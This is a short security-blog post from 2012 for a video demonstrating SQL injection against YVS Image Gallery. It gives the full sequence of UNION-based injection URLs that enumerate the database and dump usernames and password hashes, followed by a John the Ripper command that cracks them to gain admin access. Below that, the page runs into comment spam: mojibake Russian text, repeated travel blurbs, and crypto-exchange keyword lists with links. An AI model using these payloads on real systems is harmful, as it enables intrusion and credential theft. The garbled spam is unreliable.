[VIDEO] YVS Image Gallery – SQL Injection
| Posted in Security Videos | Posted on 01-03-2012
16
Download video: http://www.mediafire.com/?mbf1l0ql1514dq3
Brief Overview
YVS Image Gallery is a small database driven gallery created to be implemented within your existing site. Only a first attempt at the system has a long way to go, but it provides you with all the necessary tools to run your own picture gallery, such as uploading of multiple images and creation of thumbnails.
As reported by Corrado Liotta, YVS Image Gallery is vulnerable to SQL Injection. So basically what I did was to exploit this vulnerability.
Tools
- YVS Image Gallery.zip
- A virtual machine (Example: VMware Player or Virtual Box)
- Firefox – (Can be found in BackTrack 5)
- John The Ripper – (Can be found in BackTrack 5)
Commands
//Open on firefox
http://127.0.0.1/server_path/view_all_albums.php
//Check the column count
http://127.0.0.1/YVS1/view_album.php?album_id=1+order+by+1--
http://127.0.0.1/YVS1/view_album.php?album_id=1+union+select+1--
//Get the version, current user and the database name
http://127.0.0.1/server_path/view_album.php?album_id=-2+UNION+SELECT+concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20)--
//Get all the tables in the database
http://127.0.0.1/server_path/view_album.php?album_id=-1+union+select+group_concat(table_name)+FROM+information_schema.tables+where+table_schema=database()--
//Get all the column names
http://127.0.0.1/server_path/view_album.php?album_id=-1+union+select+group_concat(column_name)+FROM+information_schema.columns+where+table_schema=database()--
//Get username & password from the table "user"
http://127.0.0.1/server_path/view_album.php?album_id=-1+union+select+concat(username,0x3a,password)+from+user--
//The password is md5 encrypted, so we have to decrypt it
//We save the username:hash in a file and name it "pwd.txt"
//We open up a terminal on our backtrack
//We need to Brute Force the user credentials for the web application using John The Ripper
cd pentest/passwords/john
./john pwd.txt --wordlist=password.txt --format=raw-MD5
//where password.txt is our password wordlist
//John the ripper then cracks the hash and gives us the password
//After which we then login to the YVS Image Gallery admin panel
##### #######
# # ## # # ###### # # # # ###### #####
# # # ## ## # # # # # # # #
# #### # # # ## # ##### # # # # ##### # #
# # ###### # # # # # # # # #####
# # # # # # # # # # # # # #
##### # # # # ###### ####### ## ###### # #


men i dont understand this page, but i love this lil bird that keeps jumping branches as i scroll down π
Have you seen the video embedded? Meanwhile bring some seeds for the birdie π
Neat trick with the birdie, so much I inspected it on Google Chrome’s Inspected the hit ‘delete’. π
Search VPN? Here – http://importplan.ru
ltrfhbcnbloophy
ΠΏΠ΅ΡΠ΅Π΄Π΅Π»ΠΊΠ° ΠΌΠΈΠΊΡΠΎΠ°Π²ΡΠΎΠ±ΡΡΠ° ΠΈΠ· Π³ΡΡΠ·ΠΎΠ²ΠΎΠ³ΠΎ Π² ΠΏΠ°ΡΡΠ°ΠΆΠΈΡΡΠΊΠΈΠΉ – ΠΠ΅ΡΠ΄ΠΈΡΡΠ² – ΡΡΠΎΠ»ΠΈΡΡ ΠΏΠ΅ΡΠ΅ΠΎΠ±Π»Π°Π΄Π½Π°Π½Π½Ρ, ΡΡΡΠ°Π½ΠΎΠ²ΠΊΠ° ΡΠ»Π΅ΠΊΡΡΠΎΠ½ΠΈΠΊΠΈ Π² ΠΌΠΈΠΊΡΠΎΠ°Π²ΡΠΎΠ±ΡΡ
ΠΠΈΠ»ΡΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±ΡΡΡ ΠΊΠΎΠΌΡΠΎΡΡΠ½ΡΠΌ. ΠΠΌΠ΅Π½Π½ΠΎ ΠΏΠΎΡΡΠΎΠΌΡ ΡΡΡΠΎΠΈΡΠ΅Π»ΡΡΡΠ²ΠΎ Π½ΡΠΆΠ½ΠΎ Π΄ΠΎΠ²Π΅ΡΠΈΡΡ ΠΏΡΠΎΡΠ΅ΡΡΠΈΠΎΠ½Π°Π»Π°ΠΌ. ΠΠ°ΠΆΠ΄Π°Ρ ΡΡΡΠΎΠΈΡΠ΅Π»ΡΠ½Π°Ρ ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΠΎΡΡΡ ΠΏΠΎ ΡΠ²ΠΎΠ΅ΠΌΡ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½Π°, ΠΈ ΠΌΠΎΠΆΠ΅Ρ ΠΏΡΠΈΠ½Π΅ΡΡΠΈ Π½Π΅ΠΏΠ»ΠΎΡ ΠΎΠΉ ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ, Π΅ΡΠ»ΠΈ ΠΊ Π½Π΅ΠΉ ΠΏΠΎΠ΄ΠΎΠΉΡΠΈ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎ
ΠΠ°ΡΠ΅Π²Π°ΡΡ Π²ΠΎΠ·Π²ΠΎΠ΄ΠΈΡΡ ΠΏΡΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°ΡΠΈΠΉ Π΄Π°ΡΠ° Π½Π°Π΄ΠΎ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎ, ΠΏΠΎΡΡΠΎΠΌΡ ΠΌΡ ΡΠ°ΡΡΠΌΠΎΡΡΠΈΠΌ Π²Π°ΡΠΈΠ°Π½ΡΡ ΠΈ ΡΠ΅Ρ Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΡΠ°ΠΊΠΎΠ³ΠΎ ΡΡΡΠΎΠΈΡΠ΅Π»ΡΡΡΠ²Π°
Chandigarh, the capital of the northern Indian states of Punjab and Haryana, was designed by the Swiss-French modernist architect, Le Corbusier. His buildings include the Capitol Complex with its High Court, Secretariat and Legislative Assembly, as well as the giant Open Hand Monument. The nearby Rock Garden is a park featuring sculptures made of stones, recycled ceramics and industrial relics.
Chandigart
Chandigarh, the capital of the northern Indian states of Punjab and Haryana, was designed by the Swiss-French modernist architect, Le Corbusier. His buildings include the Capitol Complex with its High Court, Secretariat and Legislative Assembly, as well as the giant Open Hand Monument. The nearby Rock Garden is a park featuring sculptures made of stones, recycled ceramics and industrial relics.
Kochi (also known as Cochin) is a city in southwest India’s coastal Kerala state. It has been a port since 1341, when a flood carved out its harbor and opened it to Arab, Chinese and European merchants. Sites reflecting those influences include Fort Kochi, a settlement with tiled colonial bungalows and diverse houses of worship. Cantilevered Chinese fishing nets, typical of Kochi, have been in use for centuries.
Exchange
buy BitcoinCash in sri lanka Perfect Money
buy virtual visa with my cirrus maestro card with pin Payeer
credit card processing company buy online FaucetPay Solana
buy smtp online with usdt account Bitcoin
http://theinstantexchange.com
FaucetPay zu procurrex FaucetPay
us dollar rate in hyderabad Tron
wiredpaycard visa Dogecoin
paysafecard with creditcard Ripple
http://wiredpay.com
intextethereum intextkaufen intextlitecoin Litecoin
gold silkroad pay payeer Wiredpay
get free 10 cents in usdt Shibainu
exchange BitcoinCash to binance Dogecoin
http://onlineexchang.com
kaufen wallie card online Tron nulled script casino Litecoin gambling sites that pay into litecoin Ripple convertire da dogecoin a dogecoin Perfect Money http://wiredpay.com
Julias Garland fr. Guirlande de Julie
bride Julie dAngenne.